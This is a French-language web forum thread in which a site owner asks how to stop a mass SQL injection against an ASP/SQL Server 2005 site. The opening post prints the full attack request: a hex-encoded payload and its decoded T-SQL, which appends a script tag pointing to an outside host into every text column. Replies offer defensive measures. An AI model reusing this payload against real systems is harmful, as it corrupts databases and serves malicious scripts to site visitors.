IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

MS SQL Server Discussion :

Attaque XSS (cross sote scripting)


Sujet :

MS SQL Server

  1. #1
    Membre averti Avatar de sami_c
    Profil pro
    Chef de projet
    Inscrit en
    Mai 2002
    Messages
    758
    Détails du profil
    Informations personnelles :
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Chef de projet

    Informations forums :
    Inscription : Mai 2002
    Messages : 758
    Points : 407
    Points
    407
    Par défaut Attaque XSS (cross sote scripting)
    Bonjour,
    Mon site ASP/SQL Server 2005 a été sujet d'une attaque XSS via un script qui prend un paramètre de type entier et qui lance une requête du genre
    select * from la_table where id = var_id

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    /page.asp 
    id=345;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C40432056415243484152283235352 
    9204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A656374732 
    0612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E787 
    47970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524 
    F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205 
    B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C7363726970742 
    07372633D687474703A2F2F7777772E757361626E722E636F6D2F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F4 
    37572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VAR 
    CHAR(4000));EXEC(@S);--
    Ce qui est après CAST est du hex qui est en fait :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    DECLARE @T VARCHAR(255),@C VARCHAR(255)
    DECLARE Table_Cursor CURSOR
    FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR 
    b.xtype=167)
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
    BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.usabnr.com/ngg.js></script>''')
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    END
    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor
    Bref le pirate a u inseré le code "<script src=http://www.usabnr.com/ngg.js></script>" dans tt les colonne de type chaine de tt les tables !!

    Je voudrais savoir si je peux contrer ce genre d'attaque en modifiant qq chose au niveau de mon serveur de bdd (sql server 2005) et/ou web
    merci

  2. #2
    Futur Membre du Club
    Profil pro
    Inscrit en
    Juin 2008
    Messages
    5
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2008
    Messages : 5
    Points : 5
    Points
    5
    Par défaut
    J'eu la même chose il y'a qq mois.
    pour sauver les meubles en attendant, je te conseille un trigger sur chaque table
    de ta base, qui vérifie les données de la table inserted a chaque update , s'il contient la chaine <script>, tu fais un rallback.

  3. #3
    Nouveau membre du Club
    Profil pro
    Inscrit en
    Mai 2008
    Messages
    32
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 32
    Points : 36
    Points
    36
    Par défaut
    Deux idées simples :

    Limiter les accès de l'utilisateur web au strict minimum c'est à dire que le login correspondant doit avoir accès uniquement aux bases de données utilisées pour ton site et surtout pas aux bases systèmes.

    Ensuite il vaut mieux mettre le code SQL systématiquement dans des procédures stockées et donner à l'utilisateur le droit d'exécuter celles-ci uniquement. C'est un peu lourd au début mais on s'y habitue.

    De cette manière l'utilisateur ne peut pas connaître les tables de la base de données ni le code SQL contenu dans les procédures. Au pire il exécute les procédures stockées

    ________________________________
    Seminoque, créateur de
    http://www.bingokaz.com

  4. #4
    Rédacteur

    Avatar de SQLpro
    Homme Profil pro
    Expert bases de données / SQL / MS SQL Server / Postgresql
    Inscrit en
    Mai 2002
    Messages
    21 917
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Var (Provence Alpes Côte d'Azur)

    Informations professionnelles :
    Activité : Expert bases de données / SQL / MS SQL Server / Postgresql
    Secteur : Conseil

    Informations forums :
    Inscription : Mai 2002
    Messages : 21 917
    Points : 51 693
    Points
    51 693
    Billets dans le blog
    6
    Par défaut
    Cette attaque par injection de SQL est connue depuis des mois et des réponses ont été apportées depuis. Relisez les posts à ce sujet !
    http://www.developpez.net/forums/sho...highlight=CAST

    A +

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. [Sécurité] Securité cross site scripting
    Par doudou439 dans le forum Langage
    Réponses: 3
    Dernier message: 20/01/2007, 13h59
  2. Réponses: 10
    Dernier message: 08/10/2006, 12h28
  3. Réponses: 2
    Dernier message: 04/10/2006, 08h18
  4. Réponses: 2
    Dernier message: 06/04/2006, 11h57
  5. Réponses: 20
    Dernier message: 03/02/2006, 10h55

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo